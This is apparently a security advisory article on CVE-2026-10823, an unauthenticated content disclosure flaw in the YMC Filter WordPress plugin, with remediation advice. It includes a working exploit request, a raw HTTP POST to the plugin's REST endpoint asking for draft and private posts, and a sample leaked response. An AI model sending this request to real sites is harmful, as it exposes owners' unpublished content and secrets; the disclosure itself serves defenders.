Critical Vulnerability in WordPress YMC Filter: Unauthenticated Content Disclosure (CVE-2026-10823)

Author: Synthex **Site:** denizhalil.com **Date:** June 2026 CVSS 7.5 HIGH

INTRODUCTION

In the modern WordPress ecosystem, advanced dynamic content filtering is a popular, high-demand way to enhance user experience and engagement. However, a critical security flaw recently discovered in the YMC Filter (also known as YMC Smart Filter) plugin completely shatters these benefits by allowing unauthenticated remote attackers to silently view private data, draft revisions, and password-protected posts. Tracked as CVE-2026-10823, this alarming vulnerability serves as a stark reminder of how failing to properly restrict modern REST API architectures can completely expose an entire website's hidden repository. It proves that even minor architectural oversights can lead to massive data leaks. This article dives deep into the technical mechanics behind the flaw, explores its real-world impact, and provides actionable steps to secure your site against it.

LEARNING OBJECTIVES

By the end of this article, you will understand:

- What CVE-2026-10823 is and why it poses a high security risk,
- How missing authorization controls in the WordPress REST API can be exploited,
- The mechanism attackers use to extract drafts and private posts without logging in,
- Actionable steps to remediate this vulnerability and secure your WordPress environment.

WHAT IS YMC FILTER WORDPRESS - UNAUTHENTICATED POST DISCLOSURE CVE-2026-10823

CVE-2026-10823 is a high-severity **Information Exposure (CWE-200)** vulnerability deeply rooted within the architectural framework of the YMC Filter (YMC Smart Filter) plugin for WordPress. Evaluated under the CVSS v3.1 standard, this security flaw has been assigned a base score of **7.5 (High)** due to its ease of exploitation and its direct threat to data confidentiality. Because the flaw entirely bypasses standard access control layers, it presents a severe risk to any website running an unpatched version of the software.

An "Unauthenticated Post Disclosure" represents a highly dangerous class of web vulnerabilities where a remote threat actor requires absolutely no credentials to interact with restricted data structures. In practical terms, an attacker does not need an administrator login, an editor account, or even a low-level

subscriber profile to breach the system. By targeting the inherently flawed application logic from anywhere across the internet, malicious actors can seamlessly bypass normal access controls and peer straight into the backend repository.

The broader business and operational impact of this vulnerability extends far beyond simple technical metrics. When private nodes are exposed, a website's entire pre-publication workflow is compromised, potentially revealing proprietary content, confidential corporate strategies, or sensitive user-generated notes. This specific flaw highlights a growing trend where peripheral add-ons inadvertently undermine the robust, core security mechanisms natively provided by the WordPress ecosystem.

To better grasp the core attributes of this vulnerability, consider the following key aspects:

- **Zero-Authentication Requirement**: Attackers can execute data extraction queries remotely without establishing a verified session or possessing any valid site credentials.
- **Bypass of Core Access Controls**: The vulnerability effectively overrides native WordPress permissions, allowing unauthorized public viewing of non-published materials.
- **Exposure of Broad Status Types**: The flaw is not limited to standard private posts; it actively exposes drafts, pending reviews, and password-protected entries.
- **High CVSS Severity Rating**: Carrying a 7.5 High score, it demands immediate attention and patching from site administrators to prevent widespread data siphoning.

TECHNICAL DETAIL: HOW THE VULNERABILITY WORKS

The root cause of CVE-2026-10823 lies in a severe architectural flaw within the custom WordPress REST API routing mechanism registered by the YMC Filter plugin. When extending native WordPress functionality via custom endpoints, developers are required to utilize the built-in `permission_callback` parameter. This callback function serves as a gatekeeper, validating whether the user initiating the request possesses the necessary capabilities (such as `edit_posts` or `manage_options`) to view the requested backend dataset. However, in affected versions of the YMC Filter plugin, developers left the `permission_callback` configuration completely absent or mapped to return a blanket authorization (`__return_true`). This omission left the critical `/wp-json/ymc/v1/posts/filter` endpoint entirely public and exposed to the open internet.

An attacker can weaponize this exposure by sending a structured HTTP POST request directly to the vulnerable route. The backend handler behind this endpoint accepts a JSON payload and dynamically pipes user-controlled array fields straight into the core WordPress database abstraction layer (`WP_Query`). Because there are no role-validation sanitization checks applied to the incoming request body, the backend script blindly accepts and processes raw parameters, trusting the client implicitly regardless of their authentication state.

```
{
  "params": {
    "filter_id": 1,
    "post_types": ["post", "page"],
```

```
    "post_status": ["draft", "private", "pending"],
    "paged": 1
  }
}
```

When the handler evaluates the incoming JSON payload, it extracts the `"post_status"` array and honors requests containing sensitive filters like `["draft", "private"]`. Since it never references the current user object via `wp_get_current_user()` or verifies session nonces, the database execution routine queries the `wp_posts` table for all corresponding entries. The engine retrieves titles, full HTML body contents, absolute system paths, and sensitive custom meta fields, compiling them all into an unfiltered array before returning the dataset as a structured JSON object to the unauthorized sender.

Below is an example of the specific raw HTTP interaction an attacker uses to map out and extract hidden site content.

HTTP Request:

```
POST /wp-json/ymc/v1/posts/filter HTTP/1.1
Host: target-wordpress-site.local
User-Agent: Mozilla/5.0 (Security-Research-Scanner)
Content-Type: application/json
Content-Length: 138
Connection: close

{
  "params": {
    "filter_id": 1,
    "post_types": ["post"],
    "post_status": ["draft", "private"],
    "paged": 1
  }
}
```

HTTP Response:

```
HTTP/1.1 200 OK
Date: Mon, 29 Jun 2026 22:30:00 GMT
Server: Apache
Content-Type: application/json; charset=UTF-8
Connection: close
Content-Length: 942

{
  "success": true,
  "data": {
    "posts": [
```

```
      {
        "ID": 1042,
        "post_title": "CONFIDENTIAL: Internal Q3 Product Launch Roadmap",
        "post_name": "confidential-internal-q3-product-launch-roadmap",
        "post_content": "\n<p>This draft outlines our upcoming features. Do not share
externally before official announcement. AWS staging endpoint credentials:
admin:TempPass123!<\/p>\n",
        "post_status": "draft",
        "post_author": "1",
        "post_date": "2026-06-15 14:22:11",
        "post_excerpt": "",
        "comment_status": "closed"
      },
      {
        "ID": 1043,
        "post_title": "Private: Strategic Acquisition Notes 2026",
        "post_name": "private-strategic-acquisition-notes-2026",
        "post_content": "Negotiations with target company are shifting to final
phase. Financial evaluations are attached in internal drive.",
        "post_status": "private",
        "post_author": "2",
        "post_date": "2026-06-20 09:11:05"
      }
    ],
    "max_num_pages": 1,
    "total_posts": 2
  }
}
```


AFFECTED SOFTWARE & PLUGINS

The scope of CVE-2026-10823 is strictly confined to ecosystem deployments utilizing the YMC Filter (commercially known as YMC Smart Filter) plugin for WordPress. Because this software is widely implemented on dynamic portfolio sites and e-commerce platforms to manage complex product classification queries, the presence of an unpatched version creates an immediate exposure vector across production environments. System administrators must urgently audit their active plugin directories to determine if their current deployment falls within the vulnerable threshold.

While the specific information disclosure flaw was officially addressed and mitigated by the development team in version 3.11.3, simply reaching this baseline may not be enough to fully secure your web application. Security research indicates that subsequent versions of the plugin line were found to contain additional critical vulnerabilities, including severe SQL Injection risks tracked under CVE-2026-54836. Therefore, treating security patch management as a continuous process rather than a one-time fix is paramount to protecting underlying database contents from evolving exploitation techniques.

Specification	Details / Action Requirement
Target Extension	YMC Filter (YMC Smart Filter) for WordPress CMS
Vulnerable Suffixes	All distribution versions prior to **3.11.3**
Initial Remediation Baseline	REST API endpoint closed securely in version **3.11.3**
Recommended Standard	Deploy version **3.12.x or newer** due to CVE-2026-54836

⚠️ **Note:** Due to separate, subsequent security issues discovered in the plugin line (such as the SQL Injection flaw tracked under CVE-2026-54836), administrators should not just stop at 3.11.3. It is highly recommended to update to the absolute newest available version (3.12.x or later) to ensure comprehensive protection.

CONCLUSION

CVE-2026-10823 serves as a textbook example of why untrusted user input must always be tightly bounded by robust, default-deny authentication gates. Relying solely on standard perimeter defenses, such as enforcing strong administrative passwords or deploying complex multi-factor authentication (MFA) schemas, will completely fail to protect a site if a back-door REST API route is accidentally left wide open to the public. Modern web applications must treat API routes with the exact same level of scrutiny as standard user login pages to prevent structural data leakages.

The shift toward headless and dynamic WordPress structures demands that security teams move away from passive defense postures. Peripheral plugins that handle complex filtering parameters can easily turn into unintended data conduits if access control lists (ACLs) are not integrated right at the routing layer. This specific vulnerability underscores the necessity of continuous automated endpoint scanning and rigorous source code analysis to catch missing authorization checks prior to pushing extensions into production systems.

Ultimately, immediate operational action is required if your website relies on the YMC Filter extension to organize and render content. Administrators must audit their active applications immediately and upgrade to **version 3.11.3 or higher** to seal the exposed data pipelines and stop unauthorized content leaks for good. In scenarios where an immediate production update is impossible due to compatibility concerns, completely deactivating the plugin remains the safest temporary mitigation strategy to secure private assets from prying eyes.